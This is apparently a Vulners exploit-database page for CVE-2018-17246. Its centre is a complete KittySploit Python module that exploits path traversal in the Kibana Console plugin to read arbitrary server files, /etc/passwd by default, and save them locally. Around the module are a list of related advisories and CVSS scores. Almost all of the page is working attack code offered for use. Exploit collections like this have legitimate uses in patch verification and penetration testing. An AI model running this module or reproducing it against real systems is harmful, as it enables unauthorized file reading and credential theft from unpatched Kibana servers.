Kibana Console Path Traversal LFI (CVE-2018-17246)
| Reporter | Title | Published | Views | Family All 43 |
|---|---|---|---|---|
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 11 Apr 202111:34 | – | gitee | |
| CVE-2018-17246 | 12 Nov 202400:00 | – | circl | |
| Elasticsearch Kibana Console Plugin Command Execution Vulnerability | 13 Nov 201800:00 | – | cnvd | |
| CVE-2018-17246 | 20 Dec 201822:00 | – | cve | |
| CVE-2018-17246 | 20 Dec 201822:00 | – | cvelist | |
| Exploit for External Control of File Name or Path in Elastic Kibana | 8 Mar 201920:06 | – | githubexploit | |
| Elastic Stack 6.4.3 and 5.6.13 security update | 6 Nov 201818:35 | – | elastic | |
| Kibana ESA-2018-18 | 7 Nov 201800:00 | – | nessus | |
| Photon OS 1.0: Kibana PHSA-2019-1.0-0209 | 28 Jan 202000:00 | – | nessus | |
| Photon OS 2.0: Kibana PHSA-2019-2.0-0132 | 18 Mar 201900:00 | – | nessus |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kibana Console plugin path traversal LFI (CVE-2018-17246)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Kibana Console Path Traversal LFI (CVE-2018-17246)',
'description': (
'Exploits CVE-2018-17246 in Kibana <6.4.3 / <5.6.13: path traversal in '
'/api/console/api_server apis parameter reads arbitrary local files.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-17246'],
'platform': Platform.MULTI,
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-17246',
],
'tags': ['kibana', 'elastic', 'lfi', 'file-read', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['file_read', 'credentials'],
'chain': {
'suggested_followups': ['scanner/http/cve_2018_17246_detect'],
},
},
}
file_path = OptString('/etc/passwd', 'Absolute path to read', required=True)
output_file = OptString('', 'Local output file', required=False)
def _traversal_path(self, remote: str) -> str:
depth = '../' * 12
remote = remote if remote.startswith('/') else f'/{remote}'
return (
f'/api/console/api_server?sense_version=%40%40SENSE_VERSION'
f'&apis={depth}{remote.lstrip("/")}'
)
def execute(self, remote_path: str) -> str:
path = self._traversal_path(remote_path)
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute(str(self.file_path or '/etc/passwd'))
if re.search(r'root:.*:0:0:', body or '') or 'an internal server error occurred' in (body or '').lower():
return {'vulnerable': True, 'reason': 'Kibana console traversal confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Kibana LFI not confirmed', 'confidence': 'medium'}
def run(self):
target = str(self.file_path or '/etc/passwd')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.5High risk
Vulners AI Score7.5
CVSS 27.5
CVSS 39.8
EPSS0.82251